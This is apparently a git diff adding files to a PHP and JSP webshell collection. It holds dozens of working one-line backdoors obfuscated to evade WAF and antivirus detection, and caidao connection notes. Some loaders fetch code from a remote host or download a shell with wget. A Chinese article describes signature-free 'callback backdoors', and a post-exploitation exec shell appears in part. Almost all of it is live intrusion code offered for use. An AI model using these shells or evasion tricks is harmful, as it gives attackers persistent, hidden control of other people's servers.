+<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('Status:404');Else/**/$K($M);?>
+----------------------------------------
+<?php @preg_replace("//e",$_POST[x],"e");exit("|LO|"); ?>
+----------------------------------------
+<?php array_map("ass\x65rt",(array)$_REQUEST['test']);?>
+----------------------------------------
+<?php $item['wind'] = 'assert';$array[] = $item;$array[0]['wind']($_POST['whirlwind']);?>
+----------------------------------------
+<?php if(isset($_POST["f4ck"])){$a=strrev("edoced_46esab");eval($a($_POST[z0]));}?>
+----------------------------------------
+<?php if(md5($_GET['pass'])=='21232f297a57a5a743894a0e4a801fc3'){eval($_POST[console]);}else{die('fuck off!');}?>
+----------------------------------------
+<?php
+//Password: $ws->Run
+eval(gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiQ/wDw6JVlcpL9a1CyrNU4/VtE7OyM1PUQBKBbsGhbkGRSsFOwd5BoTEu3n6uPo5+roqxeoYmJiYaFrbA40CAA==')));
+?>
+----------------------------------------
+<?php
+	$fatezero	= "SABERBERSERKER(\$LANCERPCASTEROSTCASTERARCHERCASTER'faCASTERtASSASSINzCASTERASSASSINCASTERro'RIDER)GINTAMA";
+	$fatestaynight	= str_replace("CASTER", "", $fatezero);
+	$fatezero	= str_replace("LANCER", "_", $fatestaynight);
+	$fatestaynight	= str_replace("SABER", "ev", $fatezero);
+	$fatezero	= str_replace("BERSERKER", "al", $fatestaynight);
+	$fatestaynight	= str_replace("RIDER", "]", $fatezero);
+	$fatezero	= str_replace("GINTAMA", ";", $fatestaynight);
+	$fatestaynight	= str_replace("ARCHER", "[", $fatezero);
+	$fatezero	= str_replace("ASSASSIN", "e", $fatestaynight);
+
+	if($fatestaynight !== $fatezero)
+	{
+		eval($fatezero);//fatezero
+	}
+?> 
+----------------------------------------
+<?php
+//http://test.com/get_write.php?a=/shell.php&b=3C3F70687020406576616C28245F504F53545B2763616964616F275D293B3F3E
+//caidao connecting http://test.com/shell.php	pass:caidao
+$p=realpath(dirname(__FILE__)."/").$_GET["a"];
+$t=$_GET["b"];
+$tt="";
+for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2));
+@fwrite(fopen($p,"w"),$tt);
+echo "success!";
+var_dump($p,$tt);
+?>
+----------------------------------------
+<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['k8']);?>
+----------------------------------------
+<?php $mujj = $_POST['z'];if ($mujj!=""){$xsser=base64_decode($_POST['z0']);@eval("\$safedg = $xsser;");}?>
+----------------------------------------
+<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
+----------------------------------------
+<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
+----------------------------------------
+<?php fputs(fopen("./shell.php","w"),"<?eval(\$_POST[a]);?>")?>
+----------------------------------------
+<?php if($_POST[admin]){assert($_POST[admin]);}else{phpinfo();}?>
+----------------------------------------
+<?php ($www= $_POST['ice']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)','add');?>
+----------------------------------------
+<?php ($_=@$_GET[2]).@$_($_POST[1])?>
+caidao: http://site/1.php?2=assert Password: 1
+----------------------------------------
+<?php
+$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
+$hh("/[discuz]/e",$_POST['h'],"Access");
+?>
+----------------------------------------
+<?php
+$user="63a9f0ea7bb98050796b649e85481845"; #root
+$pass="7b24afc8bc80e548d66c4e7ff72171c5"; #toor
+
+if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)
+{eval($_GET['idc']);}
+?>
+---------------------------------------
+<?php
+    $func = new ReflectionFunction($_GET[m]);
+    echo $func->invokeArgs(array($_GET[c],$_GET[id]));
+?>
+shell.php?m=file_put_contents&c=test.php&id=<?@eval($_POST[c]);?> //写入一句话马 for linux
+shell.php?m=file_put_contents&c=test.php&id=<?php eval($_POST[c]);?> //写入一句话马 for windows
+shell.php?m=system&c=echo ^<?php eval^($_POST[c]^);?^> >test.php //在当前目录下面生成一句话马 for windows
+shell.php?m=system&c=wget http://xxx.xxx/igenus/images/suffix/test.php //当前目录下载一句话马 for linux
+----------------------------------------
+<?php assert($_POST[sb]);?>
+----------------------------------------
+<script language="php">@eval($_POST[sb])</script>
+caidao: <O>h=@eval($_POST1);</O>  Password: sb
+----------------------------------------
+<?php eval($_POST[xiaoma]);?>
+----------------------------------------
+<?php $_GET['ts7']($_POST['cmd']);?>
+//caidao: http://www.target.com/shell.php?ts7=assert
+----------------------------------------
+<?php
+@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
+@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
+@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
+[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // Password: -7
+?>
+----------------------------------------
+<?fputs(fopen("test.php","w"),'<?php eval($_POST["cmd"]);?>');?>
+----------------------------------------
+<?php
+error_reporting(0);
+set_time_limit(0);
+function decrypt($ciphertext_hex,$key){
+$key=md5($key);
+$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
+$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
+$ciphertext_dec = pack("H*",$ciphertext_hex);
+$iv_dec = substr($ciphertext_dec, 0, $iv_size);
+$ciphertext_dec = substr($ciphertext_dec, $iv_size);
+$plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);
+return trim($plaintext_dec);
+}
+if(@$_REQUEST['key']){
+$key=$_REQUEST['key'];
+$hash='bd40dd58f44adc5c334e53418ea1bcd591521d60662c6753b89dc46bb02b1ecb02bf857eaa0ea5d5a36ecf638d65c55eb9a8f2b17ceb2d740e3eba7792d3995b7d4fdbdf9f5f90b219cf955539b169a40109ff496262cbc21050e6993d1f9a6a678990e0b01a03617dd4b38358d78e9a67eabe8b288487a96ca55a94e8d6614a';
+$shellcode='12ec445a8c4be78007d08367455c60d571c3509ba62d1f2b321fa824667345ff3131b02b81c8ad646ffc3360e60d19d3f7f43b7b21f5bca05d6e7abfc2461b5d72fffb22659aa08655cdd8734baa0fd47b93a5659348954f853d3a68022fb3422a3832efa04792c1a81680e5aa8081716f169e05afb332a26fbd0f76ae8905b9a068ddb54f3ae107ba673362835951f4953db1079b6a3c0b4eb20ca96a241936244947ee67e0d563d8b2eee439cc5ba21151ae520eec0a663f092f9845918c7d6630764dad77808e376e099008403b01c491399da5cb3c8926c29b1bf89e8c751fb33a850c608b20e4c41cf28ec8b8060a30a827b43cd301d9c587863ce39f2326345a0217110fc898acb6c3343f3ce8';
+eval(decrypt($hash,$key));
+}else{
+echo 'ERROR!';
+}
+//caidao:  <0>key=90sec</0>  or  Url: http://www.target.com/90sec.php?key=90sec   Password: shell
+----------------------------------------
+======================================================
+||                     JSP一句话                    ||
+======================================================
+----------------------------------------
+<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
+----------------------------------------

php/DAws.md

@@ -0,0 +1,10 @@
+DAws  a php webshell
+
+Author:[dotcppfile](https://github.com/dotcppfile/)
+
+url:https://github.com/dotcppfile/DAws
+
+There's multiple things that makes DAws better than every Web Shell out there:
+
+![alt tag](http://i.imgur.com/nUmccKQ.png)
+

php/README.md

@@ -4,7 +4,7 @@ hihi
 
 Author：JohnTroony
 
-site: <a href="https://github.com/JohnTroony/php-webshells">clink hrer</a>
+site: [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
 
 <pre>
                                   _oo0oo_
@@ -28,4 +28,4 @@ site: <a href="https://github.com/JohnTroony/php-webshells">clink hrer</a>
  
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                         佛祖保佑    iii    永不被杀 
-</pre>
+</pre>

php/biantai.php

@@ -0,0 +1,2 @@
+<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   $dI3h=${'_REQUEST'}; if (!empty($dI3h['PBbs'])) {     $lwA = $dI3h['UpB_'];    $SdlT=$dI3h['PBbs']($lwA($dI3h['PWWk']),$lwA($dI3h['xfrwA']));    $SdlT($lwA($dI3h['Epd']));   }
+?>

php/bypass-waf-2015-06-10-01.php

@@ -0,0 +1,20 @@
+<?php 
+define('iphp','oday');
+define('T','H*');
+define('A','call');
+define('B','user');
+define('C','func');
+define('D','create');
+define('E','function');
+define('F','file');
+define('F1','get');
+define('F2','contents');
+define('P','pack');
+$p = P;  //pack
+$call = sprintf('%s_%s_%s',A,B,C); //call_user_func
+$create = sprintf('%s_%s',D,E);    //create_function
+$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取
+$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
+//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
+call_user_func(create_function(null,pack('H*',file_get_contents(pack('H*',join(null,$t))))));
+?>

php/bypass-waf-2015-06-16-01.php

@@ -0,0 +1,21 @@
+<?php 
+function getMd5($md5 = null) { 
+    $key = substr(md5($md5),26); 
+    return $key; } 
+    $array = array( 
+      chr(112).chr(97).chr(115).chr(115), 
+      chr(99).chr(104).chr(101).chr(99).chr(107), 
+      chr(99).chr(52).chr(53).chr(49).chr(99).chr(99) 
+    ); 
+    if ( isset($_POST) ) $request = &$_POST; 
+    elseif ( isset($_REQUEST) )  $request = &$_REQUEST; 
+    if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { 
+      if ( getMd5($request[$array[0]]) == $array[2] ) { 
+        $token = preg_replace ( 
+        chr(47) . $array[2] . chr(47) . chr(101), 
+        $request[$array[1]], 
+        $array[2] 
+      ); 
+    } 
+} 
+?>

php/bypass-waf-2015-06-16-02.php

@@ -0,0 +1 @@
+<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['hkwwj']);?>

php/bypass-waf-2015-06-16-03.php

@@ -0,0 +1,7 @@
+<?php 
+$qajd2="VDFOVVd5";$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4 
+$akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9 
+$hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1 
+$gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n");// kfcs6 
+$foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2)))); $foxl6(); 
+?>

php/gif.php

@@ -0,0 +1,16 @@
+GIF89a1
+error_reporting(NULL)
+$me=$_SERVER['PHP_SELF']
+$NameF=$_REQUEST['NameF']
+$nowaddress='<input type=hidden name=address value="'.getcwd().'">'
+$pass_up="a13756bf1e2bd46921c135232774fc5f"
+if (isset($_FILES["elif"]) and
+ $_FILES["elif"]["error"] )
+move_uploaded_file($_FILES["elif"]["tmp_name"], $_FILES["elif"]["name"])
+echo $ifupload=" ItsOk "
+if(md5($_REQUEST['ssp'])
+=$pass_up)
+print "<title>403 Forbidden</title><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server </p>"
+exit()
+ $_SESSION['LoGiN']=true
+echo "<form action=$me method=post enctype=multipart/form-data> $nowaddress <input type=file name=elif ><input type=submit value=Upload /></form>"

php/php一句话

@@ -1,13 +1,15 @@
-[+]php一句话
+### php一句话
 
-1) <?php eval($_POST[sb]);?>
-2) <?php @eval($_POST[sb]);?>
-3) <?php assert($_POST[sb]);?>
-4) <?$_POST['sa']($_POST['sb']);?>
-5) <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
-6) <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
+* <?php eval($_POST[sb]);?>
+* <?php @eval($_POST[sb]);?>
+* <?php assert($_POST[sb]);?>
+* <?$_POST['sa']($_POST['sb']);?>
+* <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
+* <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
 　 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
 　 <O>h=@eval($_POST[c]);</O>
-7) <script language="php">@eval($_POST[sb])</script>
-8) $filename=$_GET['xbid'];
-   include ($filename);
+* <script language="php">@eval($_POST[sb])</script>
+* $filename=$_GET['xbid'];
+   include ($filename);
+* <?php $c='ass'.'ert';${c}($_POST[4]);?>
+* <?php $k = str_replace("8","","a8s88s8e8r88t");$k($_POST["8"]); ?>

php/tank96a/getcode.php

@@ -0,0 +1,7 @@
+<?php
+//getcode.php    
+//assert($_POST[c]);
+$cmd=$_GET['call'];
+if ($cmd=='code')  
+   echo sprintf('61737365727428245f504f53545b635d293b');
+?>

php/tank96a/readme.md

@@ -0,0 +1,12 @@
+## 使用说明
+
+> 写了两个脚本webshell.php和getcode.php(本地开了个php server，运行getcode.php模拟远程服务器上的网页)
+
+> 原理：首先用菜刀访问webshell.php，该webshell立即从远程服务器上获取要运行的代码并执行。
+
+> 这里获取的代码是61737365727428245f504f53545b635d293b，也就是assert($_POST[c]);
+
+> 菜刀中设置：http://192.168.1.102/DebugPHP/webshell.php 密码是c
+
+author ：tank96a
+form : http://tank96a.github.io/article/2015/04/27/php-horse/

php/tank96a/webshell.php

@@ -0,0 +1,10 @@
+<?php 
+//webshell.php
+//echo pack('H*', base_convert('0011000000111010', 2, 16));
+//echo pack('H*', '61737365727428245f504f53545b635d293b');
+//call_user_func(create_function(null,'echo (1+2);'));
+//call_user_func(create_function(null,'assert($_POST[c]);'));
+
+$url='http://localhost/DebugPHP/getcode.php?call=code';
+call_user_func(create_function(null,pack('H*',file_get_contents($url))));
+?>

php/tips.md

@@ -0,0 +1,286 @@
+创造tips的秘籍——PHP回调后门
+phith0n · 2015/07/20 10:58
+0x00 前言
+
+最近很多人分享一些过狗过盾的一句话，但无非是用各种方法去构造一些动态函数，比如'''$_GET['func']($_REQUEST['pass'])'''之类的方法。万变不离其宗，但这种方法，虽然狗盾可能看不出来，但人肉眼其实很容易发现这类后门的。
+
+那么，我就分享一下，一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
+
+有很多朋友喜欢收藏一些tips，包括我也收藏了好多tips，有时候在渗透和漏洞挖掘过程中很有用处。
+
+一句话的tips相信很多朋友也收集过好多，过狗一句话之类的。14年11月好像在微博上也火过一个一句话，当时也记印象笔记里了：
+
+
+最近又看到有人在发这个：http://www.secoff.net/archives/436.html
+
+有同学收集tips，就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数（无特征）的一句话（后门）？
+
+根据上面这个pdo的一句话，我就可以得到一个很具有普适性的结论：php中包含回调函数参数的函数，具有做后门的潜质。
+
+我就自己给这类webshell起了个名字：回调后门。
+
+0x01 回调后门的老祖宗
+
+php中call_user_func是执行回调函数的标准方法，这也是一个比较老的后门了：
+
+    call_user_func('assert', $_REQUEST['pass']);
+
+assert直接作为回调函数，然后$_REQUEST['pass']作为assert的参数调用。
+
+这个后门，狗和盾都可以查到（但是狗不会拦截）：
+
+
+可php的函数库是很丰富的，只要简单改下函数安全狗就不杀了：
+
+
+    call_user_func_array('assert', array($_REQUEST['pass']));
+
+'''call_user_func_array'''函数，和'''call_user_func'''类似，只是第二个参数可以传入参数列表组成的数组。如图：
+
+
+可见，虽然狗不杀了，D盾还是聪明地识别了出来。
+
+看来，这种传统的回调后门，已经被一些安全厂商盯上了，存在被查杀的风险。
+
+0x02 数组操作造成的单参数回调后门
+
+进一步思考，在平时的php开发中，遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调（callable类型）参数的函数，其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_filter($arr, base64_decode($e));
+
+'''array_filter'''函数是将数组中所有元素遍历并用指定函数处理过滤用的，如此调用（此后的测试环境都是开着狗的，可见都可以执行）：
+
+
+这个后门，狗查不出来，但D盾还是有感应，报了个等级3（显然比之前的等级4要低了）：
+
+
+类似'''array_filter'''，'''array_map'''也有同样功效：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_map(base64_decode($e), $arr);
+
+依旧被D盾查杀。
+
+果然，简单的数组回调后门，还是很容易被发现与查杀的。
+
+0x03 php5.4.8+中的assert
+
+php 5.4.8+后的版本，assert函数由一个参数，增加了一个可选参数descrition：
+
+
+这就增加（改变）了一个很好的“执行代码”的方法assert，这个函数可以有一个参数，也可以有两个参数。那么以前回调后门中有两个参数的回调函数，现在就可以使用了。
+
+比如如下回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array('test', $_REQUEST['pass']);
+    uasort($arr, base64_decode($e));
+
+这个后门在php5.3时会报错，提示assert只能有一个参数：
+
+
+php版本改作5.4后就可以执行了：
+
+
+这个后门，狗和盾是都查不出来的：
+
+
+同样的道理，这个也是功能类似：
+
+    $e = $_REQUEST['e'];
+    $arr = array('test' => 1, $_REQUEST['pass'] => 2);
+    uksort($arr, $e);
+
+再给出这两个函数，面向对象的方法：
+
+// way 0
+
+    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
+    $arr->uasort('assert');
+ 
+// way 1
+
+    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
+    $arr->uksort('assert');
+
+再来两个类似的回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array(1);
+    $e = $_REQUEST['e'];
+    
+    $arr = array($_POST['pass']);
+    $arr2 = array(1);
+    array_udiff($arr, $arr2, $e);
+
+以上几个都是可以直接菜刀连接的一句话，但目标PHP版本在5.4.8及以上才可用。
+
+我把上面几个类型归为：二参数回调函数（也就是回调函数的格式是需要两个参数的）
+
+0x04 三参数回调函数
+
+有些函数需要的回调函数类型比较苛刻，回调格式需要三个参数。比如'''array_walk'''。
+
+'''array_walk'''的第二个参数是callable类型，正常情况下它是格式是两个参数的，但在0x03中说了，两个参数的回调后门需要使用php5.4.8后的assert，在5.3就不好用了。但这个回调其实也可以接受三个参数，那就好办了：
+
+
+php中，可以执行代码的函数：
+
+1.  一个参数：'''assert'''
+2.  两个参数：'''assert （php5.4.8+'''）
+3.  三个参数：'''preg_replace /e模式'''
+三个参数可以用'''preg_replace'''。所以我这里构造了一个'''array_walk'''+ '''preg_replace'''的回调后门：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk($arr, $e, '');
+
+如图，这个后门可以在5.3下使用：
+
+
+但强大的D盾还是有警觉（虽然只是等级2）：
+
+不过呵呵，PHP拥有那么多灵活的函数，稍微改个函数（'''array_walk_recursive'''）D盾就查不出来了：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'] => '|.*|e',);
+    array_walk_recursive($arr, $e, '');
+
+不截图了。
+
+看了以上几个回调后门，发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能，还有几个类似的：
+
+    mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
+
+另一个：
+
+    echo preg_filter('|.*|e', $_REQUEST['pass'], '');
+
+这两个一句话都是不杀的：
+
+好用的一句话，且用且珍惜呀。
+
+0x05 无回显回调后门
+
+回调后门里，有个特殊的例子：ob_start。
+
+ob_start可以传入一个参数，也就是当缓冲流输出时调用的函数。但由于某些特殊原因（可能与输出流有关），即使有执行结果也不在流里，最后也输出不了，所以这样的一句话没法用菜刀连接：
+
+    ob_start('assert');
+    echo $_REQUEST['pass'];
+    ob_end_flush();
+
+但如果执行一个url请求，用神器cloudeye还是能够观测到结果的：
+
+
+即使没输出，实际代码是执行了的。也算作回调后门的一种。
+
+0x06 单参数后门终极奥义
+
+'''preg_replace'''、三参数后门虽然好用，但/e模式php5.5以后就废弃了，不知道哪天就会给删了。所以我觉得还是单参数后门，在各个版本都比较好驾驭。 这里给出几个好用不杀的回调后门
+
+    $e = $_REQUEST['e'];
+    register_shutdown_function($e, $_REQUEST['pass']);
+
+这个是php全版本支持的，且不报不杀稳定执行：
+
+
+再来一个：
+
+    $e = $_REQUEST['e'];
+    declare(ticks=1);
+    register_tick_function ($e, $_REQUEST['pass']);
+
+再来两个：
+
+    filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
+
+这两个是filter_var的利用，php里用这个函数来过滤数组，只要指定过滤方法为回调（FILTER_CALLBACK），且option为assert即可。
+
+这几个单参数回调后门非常隐蔽，基本没特征，用起来很6.
+
+0x07 数据库操作与第三方库中的回调后门
+
+回到最早微博上发出来的那个sqlite回调后门，其实sqlite可以构造的回调后门不止上述一个。
+
+我们可以注册一个sqlite函数，使之与assert功能相同。当执行这个sql语句的时候，就等于执行了assert。所以这个后门我这样构造：
+
+    $e = $_REQUEST['e'];
+    $db = new PDO('sqlite:sqlite.db3');
+    $db->sqliteCreateFunction('myfunc', $e, 1);
+    $sth = $db->prepare("SELECT myfunc(:exec)");
+    $sth->execute(array(':exec' => $_REQUEST['pass']));
+
+执行之：
+
+上面的sqlite方法是依靠PDO执行的，我们也可以直接调用sqlite3的方法构造回调后门：
+
+
+    $e = $_REQUEST['e'];
+    $db = new SQLite3('sqlite.db3');
+    $db->createFunction('myfunc', $e);
+    $stmt = $db->prepare("SELECT myfunc(?)");
+    $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
+    $stmt->execute();
+
+前提是php5.3以上。如果是php5.3以下的，使用sqlite_*函数，自己研究我不列出了。
+
+这两个回调后门，都是依靠php扩展库（pdo和sqlite3）来实现的。其实如果目标环境中有特定扩展库的情况下，也可以来构造回调后门。 比如php_yaml：
+
+
+    $str = urlencode($_REQUEST['pass']);
+    $yaml = <<<EOD
+    greeting: !{$str} "|.+|e"
+    EOD;
+    $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
+
+还有php_memcached：
+
+    $mem = new Memcache();
+    $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
+    $mem->connect($_REQUEST['pass'], 11211, 0);
+
+自行研究吧。
+
+0x08 其他参数型回调后门
+
+上面说了，回调函数格式为1、2、3参数的时候，可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目，或者参数类型不是简单字符串，怎么办？
+
+举个例子，php5.5以后建议用'''preg_replace_callback'''代替'''preg_replace'''的/e模式来处理正则执行替换，那么其实'''preg_replace_callback'''也是可以构造回调后门的。
+
+'''preg_replace_callback'''的第二个参数是回调函数，但这个回调函数被传入的参数是一个数组，如果直接将这个指定为assert，就会执行不了，因为assert接受的参数是字符串。
+
+所以我们需要去“构造”一个满足条件的回调函数。
+
+怎么构造？使用create_function：
+
+    preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
+
+“创造”一个函数，它接受一个数组，并将数组的第一个元素$arr[0]传入assert。
+
+这也是一个不杀不报稳定执行的回调后门，但因为有create_function这个敏感函数，所以看起来总是不太爽。不过也是没办法的事。 类似的，这个也同样：
+
+
+    mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
+
+再来一个利用CallbackFilterIterator方法的回调后门：
+
+    $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
+    foreach ($iterator as $item) {
+    echo $item;}
+
+这里也是借用了create_function来创建回调函数。但有些同学就问了，这里创建的回调函数只有一个参数呀？实际上这里如果传入assert，是会报错的，具体原因自己分析。
+
+0x09 后记
+
+这一篇文章，就像一枚核武器，爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后，会有一些小动作。不过我既然敢写出来，那么我就敢保证这些方法是多么难以防御。
+
+实际上，回调后门是灵活且无穷无尽的后门，只要php还在发展，那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门，光光去指哪防哪肯定是不够的。
+
+简单想一下，只有我们去控制住assert、preg_replace这类函数，才有可能防住这种漏洞。
+
+[link-zh-cn](http://drops.wooyun.org/tips/7279)
+[link-en](http://translate.wooyun.io/2015/07/28/The-Secrets-of-Creating-Tips-PHP-Reverse-Backdoors.html)

php/tw/2015-09-12.md

@@ -0,0 +1,15 @@
+Disguising a PHP Micro Webshell 
+
+`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
+
+url : http://t.co/YFm6QlpK0k
+
+vist browser  page show `A PHP Test`
+
+then in console use `cat xxx.php`
+it show `<?php echo 'A PHP Test ';" ?>`
+
+then in console run
+`curl -d 1=id http://www.xxx.xx/xx.php`
+
+it like in console show command `id`  

php/wpes/readme.md

@@ -0,0 +1,18 @@
+# 🐚 WeakNet PHP Execution Shell
+This is a simple <b>Post-exploitation PHP Exec Shell</b> that I wish to expand upon. It is only text, no images, or pulled scripts, etc. Just one single file. I have added support for traversing directories that are listed by <code>ls</code> commands and even <code>cat</code> for files listed. This shell comes with WEAKERTHAN Linux 6+<br />
+<br />
+# Screenshots
+Here is a screenshot of the interface with a simple ls command on an exploited server. Click on the image to view it full sized.
+<img src="https://weaknetlabs.com/images/wpes_10_new.PNG"/> <br /><br />
+Here is a screenshot of simple file contents. Click on the image to view it full sized.
+<img src="http://weaknetlabs.com/images/wpes_8_new_new.PNG"/> <br /><br />
+And here is what the file looks like when the user clicks "Download File". Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_9_new.PNG"/> <br /><br />
+A screenshot showing how to access the ARIN query that is generated using PHP. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_7_noo.png"/> <br /><br />
+A screenshot showing how to access the Exploit-DB query that is generated using PHP. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_6.png"/> <br /><br />
+A screenshot showing off the PHP generaqted link for the Google "site:&lt;target>" search. Click on the image to view it full sized.<br />
+<img src="http://weaknetlabs.com/images/wpes_7_b.png"/> <br /><br />
+
+[link](https://github.com/weaknetlabs/wpes)

php/wpes/wpes-v0.2.php

@@ -0,0 +1,255 @@
+<!DOCTYPE html>
+<html>
+<!--
+	WeakNet PHP Execution Shell - Post-exploitation shell for convenience
+	with navigation, and file content showing capabilities
+	version 0.2
+	2015 - Written by Douglas WeakNetLabs@Gmail.com
+-->
+<head>
+<title>Weakerthan PHP Exec Shell - 2015 WeakNet Labs</title>
+<style>
+	html{ /* global styling */
+		font-family:"Open Sans", sans-serif;
+		background-color:#3c3c3c;
+		color:#729fcf;
+	}
+	.inputCMD{ /* input parent box at the bottom */
+		border-top:3px solid #666;
+		position:fixed;
+		bottom:0px;
+		left:0px;
+		width:100%;
+		padding:20px 0px 20px 10px;
+		background:#262626;
+	}
+	.cmdTitle{ /* a simple span to differentiate the command from the title */
+		font-size:14px;
+		color:yellow;
+		font-family:monospace;
+	}
+	input[type=text]{ /* making input look a bit more modern */
+		font-size:15px;
+		background-color:#353535;
+		color:yellow;
+		padding:10px;
+		border:2px solid #2e2e2e;
+		float:left;
+		margin:5px 0px 0px 0px;
+		transition-property: background-color;
+		transition-duration: 2s;
+	}
+	input[type=text]:hover{ /* making input look a bit more modern */
+		background-color:#545454;
+	}
+	.titleBar{ /* this parent div is positioned */
+		position:fixed; 
+		top:0px;
+		left:0px;
+		width:100%;
+		height:50px;
+		background:#2a2a2a;
+		border-bottom:3px solid #666;
+		padding-bottom:5px;
+	}
+	.title{ /* this div is to vertically center the child, titleCenter */
+		display: table-cell;
+		vertical-align: middle;
+		padding:10px 0px 10px 10px;
+	}
+	.titleCenter{ /* vertically centered in middle of ".title" */
+		height:25px;
+		margin:auto;
+		display: inline-block;
+	}
+	.output{ /* command output box with scolled overlfow */
+		font-family: monospace;
+		font-size:14px;
+		margin:70px 0px 0px 0px;
+		overflow:scrolled;
+		padding: 5px 5px 150px 5px; /* to show command output behind the inputCMD bar */
+		color:#ccc;
+		background-color:#565656;
+		width:74%;
+	}
+	.unicode{ /* display a pointer on hover */
+		cursor:pointer;
+	}
+	.serverInfo{ /* for small box on top right for server information */
+		border:2px solid #666;
+		position:fixed;
+		top:10px;
+		right:10px;
+		z-index:1337;
+		background:#2e2e2e;
+		color:#729fcf;
+		padding:5px;
+		font-size:14px;
+	}
+	.branding{ /* for a link to the GitHUB page */
+		float:right;
+		font-size:15px;
+		margin-right:20px;
+		height:40px; /* because of padding t,b of inputCMD */
+	}
+	a{ /* why can't this be non hideous by default? */
+		text-decoration:none;
+		color:#729fcf;
+	}
+	a:hover{
+		text-decoration:underline; /* to differentiate, i guess */
+	}
+	button{
+		margin:5px 0px 0px 10px;
+		color:#729fcf;
+		padding:10px;
+		background-color:#353535;
+		border:2px solid #2e2e2e;
+		float:left;
+		transition-property: background-color;
+		transition-duration: 2s;
+	}
+	button:hover{
+		background-color:#545454;
+	}
+	/* these are for styling the tbale output of the .serverInfo box: */
